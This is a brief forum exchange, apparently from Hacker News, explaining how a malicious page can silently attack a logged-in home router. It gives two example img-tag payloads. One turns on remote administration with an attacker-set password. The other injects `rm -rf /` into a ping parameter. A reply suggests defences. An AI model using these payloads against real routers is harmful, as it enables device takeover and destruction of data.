3 ms·
IIRC, the exploit goes like this: get the victim to log in on their router (typically HTTP Basic auth) and convince them to go to a site that contains e.g. <
by JoachimSchipper 15y ago
IIRC, the exploit goes like this: get the victim to log in on their router (typically HTTP Basic auth) and convince them to go to a site that contains e.g.
<img src="http://192.168.0.1/admin.cgi?remote_admin=1&passwd=foo&confirm_passwd=foo">
or
<img src="http://192.168.0.1/ping.cgi?addr=\"127.0.0.1`rm -rf /`\"">
Not the most convenient attack, but hardly impossible.
- ck2 15y agoThis is why at a minimum you should change your ports to non-standard - it may only be temporary security by obscurity but it will at least prevent basic script-kiddie attacks. nonce required is another good layer